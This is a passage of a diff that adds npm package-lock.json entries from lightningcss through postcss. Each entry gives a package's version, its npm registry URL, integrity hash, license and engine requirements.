"MIT" + }, + "node_modules/lightningcss": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz", + "integrity": "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA==", + "dev": true, + "license": "MPL-2.0", + "peer": true, + "dependencies": { + "detect-libc": "^2.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-android-arm64": "1.33.0", + "lightningcss-darwin-arm64": "1.33.0", + "lightningcss-darwin-x64": "1.33.0", + "lightningcss-freebsd-x64": "1.33.0", + "lightningcss-linux-arm-gnueabihf": "1.33.0", + "lightningcss-linux-arm64-gnu": "1.33.0", + "lightningcss-linux-arm64-musl": "1.33.0", + "lightningcss-linux-x64-gnu": "1.33.0", + "lightningcss-linux-x64-musl": "1.33.0", + "lightningcss-win32-arm64-msvc": "1.33.0", + "lightningcss-win32-x64-msvc": "1.33.0" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz", + "integrity": "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0JNpg3Ml5pg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "android" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz", + "integrity": "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1uWG/Djg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz", + "integrity": "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m8XQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz", + "integrity": "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3StRRg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz", + "integrity": "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3rY1jCIPLzx7WzOhuUIRLQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz", + "integrity": "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3eCEhLVyXGQnKg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz", + "integrity": "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oBPon/EmMMGg2OvtQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz", + "integrity": "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5tyRActuAg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz", + "integrity": "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTaw1awrBAlZPw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz", + "integrity": "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4RrncfujZ4uAzXvwA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz", + "integrity": "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKKSykTDX+ehuA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "devOptional": true, + "license": "Apache-2.0" + }, + "node_modules/lru-cache": { + "version": "11.5.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.3.tgz", + "integrity": "sha512-U4N8FgzmWxc8k1VH8Kr6lQg18U7Fjvby6wXHVRX/ZZ7IwWbRMgrRbP0Wrb5q5NVinryp4SQampHKdvtecItxUg==", + "license": "BlueOak-1.0.0", + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/lru.min": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/lru.min/-/lru.min-1.1.5.tgz", + "integrity": "sha512-5J9ysMYUpYIg9RF2vJpy9SinEmSviFSe0GyPpCQ4L5QSkLAgeLXlTAOu2ZwWUU5m+0SBl6gUU1R1ZQB3aKypfA==", + "devOptional": true, + "license": "MIT", + "engines": { + "bun": ">=1.0.0", + "deno": ">=1.30.0", + "node": ">=8.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wellwelwel" + } + }, + "node_modules/magic-string": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-1.2.3.tgz", + "integrity": "sha512-Bpb0W2TbLKOZ7vJnOUnVRGq3WL2p+ISV29M6hYPL1AFCpyKZpdr5ytiXoTSSxRVhg8YW7f65+6gbG8WG6PCa/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mime": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-3.0.0.tgz", + "integrity": "sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==", + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "10.2.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", + "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==", + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.8" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/mysql2": { + "version": "3.15.3", + "resolved": "https://registry.npmjs.org/mysql2/-/mysql2-3.15.3.tgz", + "integrity": "sha512-FBrGau0IXmuqg4haEZRBfHNWB5mUARw6hNwPDXXGg0XzVJ50mr/9hb267lvpVMnhZ1FON3qNd4Xfcez1rbFwSg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "aws-ssl-profiles": "^1.1.1", + "denque": "^2.1.0", + "generate-function": "^2.3.1", + "iconv-lite": "^0.7.0", + "long": "^5.2.1", + "lru.min": "^1.0.0", + "named-placeholders": "^1.1.3", + "seq-queue": "^0.0.5", + "sqlstring": "^2.3.2" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/named-placeholders": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/named-placeholders/-/named-placeholders-1.1.6.tgz", + "integrity": "sha512-Tz09sEL2EEuv5fFowm419c1+a/jSMiBjI9gHxVLrVdbUkkNUUfjsVYs9pVZu5oCon/kmRh9TfLEObFtkVxmY0w==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "lru.min": "^1.1.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.18", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.18.tgz", + "integrity": "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "peer": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/obug": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.4.tgz", + "integrity": "sha512-4a+OsYv9UktOJKE+l1A4OufDgdRF9PifWj+tJnHURo/P+WOxpG4GzUFL9qCalmWauao6ogiG+QvnCovwPoyAWA==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT", + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/ohash": { + "version": "2.0.12", + "resolved": "https://registry.npmjs.org/ohash/-/ohash-2.0.12.tgz", + "integrity": "sha512-65S/5gk9YSsaRjcyf7Nfa6h/d3E8/1gslpXfI4W7Dxn/oap8IKRuNT5VXkLQ1YFKIEg4apRY4Pj6aiwFzrDdmw==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/on-exit-leak-free": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz", + "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==", + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/openapi-types": { + "version": "12.1.3", + "resolved": "https://registry.npmjs.org/openapi-types/-/openapi-types-12.1.3.tgz", + "integrity": "sha512-N4YtSYJqghVu4iek2ZUvcN/0aqH1kRDuNqzcycDxhOUpg7GdvLa2F3DgS6yBNhInhv2r/6I0Flkn7CqL8+nIcw==", + "license": "MIT" + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", + "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/perfect-debounce": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/perfect-debounce/-/perfect-debounce-2.1.0.tgz", + "integrity": "sha512-LjgdTytVFXeUgtHZr9WYViYSM/g8MkcTPYDlPa3cDqMirHjKiSZPYd6DoL7pK8AJQr+uWkQvCjHNdiMqsrJs+g==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/pg": { + "version": "8.23.0", + "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.0.tgz", + "integrity": "sha512-Ip2EQCngowJLGOfCwkFhPXU7/ljlhn6Rxlmy4XYfL2Y+vyRM59+8uR2xqRWKdYmbXmxCFOAmKxBuSUCdF34qLg==", + "license": "MIT", + "dependencies": { + "pg-connection-string": "^2.14.0", + "pg-pool": "^3.14.0", + "pg-protocol": "^1.16.0", + "pg-types": "2.2.0", + "pgpass": "1.0.5" + }, + "engines": { + "node": ">= 16.0.0" + }, + "optionalDependencies": { + "pg-cloudflare": "^1.4.0" + }, + "peerDependencies": { + "pg-native": ">=3.0.1" + }, + "peerDependenciesMeta": { + "pg-native": { + "optional": true + } + } + }, + "node_modules/pg-cloudflare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz", + "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==", + "license": "MIT", + "optional": true + }, + "node_modules/pg-connection-string": { + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.0.tgz", + "integrity": "sha512-XwWDGcLRGCXAR8F/AM5bG7Q+A3Wm2s6QeEjlOKZLlH3UYcguiqCWKyWXVag5TLTIjR7oOJUY8kcADaZgWPyLeg==", + "license": "MIT" + }, + "node_modules/pg-int8": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", + "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", + "license": "ISC", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/pg-pool": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz", + "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==", + "license": "MIT", + "peerDependencies": { + "pg": ">=8.0" + } + }, + "node_modules/pg-protocol": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.0.tgz", + "integrity": "sha512-sILXutLVjCLjcDuOmvhX5e2Z4cS5qG/6Bu3VkpFwdf/633ElGLpEh9bgmuI5I4sqKqkifQiGyiCcx1HdtrK7tg==", + "license": "MIT" + }, + "node_modules/pg-types": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", + "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", + "license": "MIT", + "dependencies": { + "pg-int8": "1.0.1", + "postgres-array": "~2.0.0", + "postgres-bytea": "~1.0.0", + "postgres-date": "~1.0.4", + "postgres-interval": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pg-types/node_modules/postgres-array": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", + "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/pgpass": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", + "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", + "license": "MIT", + "dependencies": { + "split2": "^4.1.0" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC", + "peer": true + }, + "node_modules/picomatch": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", + "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pino": { + "version": "10.3.1", + "resolved": "https://registry.npmjs.org/pino/-/pino-10.3.1.tgz", + "integrity": "sha512-r34yH/GlQpKZbU1BvFFqOjhISRo1MNx1tWYsYvmj6KIRHSPMT2+yHOEb1SG6NMvRoHRF0a07kCOox/9yakl1vg==", + "license": "MIT", + "dependencies": { + "@pinojs/redact": "^0.4.0", + "atomic-sleep": "^1.0.0", + "on-exit-leak-free": "^2.1.0", + "pino-abstract-transport": "^3.0.0", + "pino-std-serializers": "^7.0.0", + "process-warning": "^5.0.0", + "quick-format-unescaped": "^4.0.3", + "real-require": "^0.2.0", + "safe-stable-stringify": "^2.3.1", + "sonic-boom": "^4.0.1", + "thread-stream": "^4.0.0" + }, + "bin": { + "pino": "bin.js" + } + }, + "node_modules/pino-abstract-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-3.0.0.tgz", + "integrity": "sha512-wlfUczU+n7Hy/Ha5j9a/gZNy7We5+cXp8YL+X+PG8S0KXxw7n/JXA3c46Y0zQznIJ83URJiwy7Lh56WLokNuxg==", + "license": "MIT", + "dependencies": { + "split2": "^4.0.0" + } + }, + "node_modules/pino-pretty": { + "version": "13.1.3", + "resolved": "https://registry.npmjs.org/pino-pretty/-/pino-pretty-13.1.3.tgz", + "integrity": "sha512-ttXRkkOz6WWC95KeY9+xxWL6AtImwbyMHrL1mSwqwW9u+vLp/WIElvHvCSDg0xO/Dzrggz1zv3rN5ovTRVowKg==", + "dev": true, + "license": "MIT", + "dependencies": { + "colorette": "^2.0.7", + "dateformat": "^4.6.3", + "fast-copy": "^4.0.0", + "fast-safe-stringify": "^2.1.1", + "help-me": "^5.0.0", + "joycon": "^3.1.1", + "minimist": "^1.2.6", + "on-exit-leak-free": "^2.1.0", + "pino-abstract-transport": "^3.0.0", + "pump": "^3.0.0", + "secure-json-parse": "^4.0.0", + "sonic-boom": "^4.0.1", + "strip-json-comments": "^5.0.2" + }, + "bin": { + "pino-pretty": "bin.js" + } + }, + "node_modules/pino-std-serializers": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.1.0.tgz", + "integrity": "sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==", + "license": "MIT" + }, + "node_modules/pkg-types": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.2.tgz", + "integrity": "sha512-v0sVXzj7oPGysr543YYZLYbcJNJsKikSsp/fFzoxQ12ewY3ZZr7oCPC8y7OlmxfYB3QPvriXmuPD8KZggE1vqg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "confbox": "^0.3.0", + "exsolve": "^1.1.1", + "pathe": "^2.0.3" + } + }, + "node_modules/pkg-types/node_modules/confbox": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.3.1.tgz", + "integrity": "sha512-cKUSoKa8YxFZZSmraVi7onONx3amu77ngK3kGpsYHDH7drPwCRkQE1RYMPlLRrMtnciRj274XNRxcHxnKmDSnA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/postcss": { + 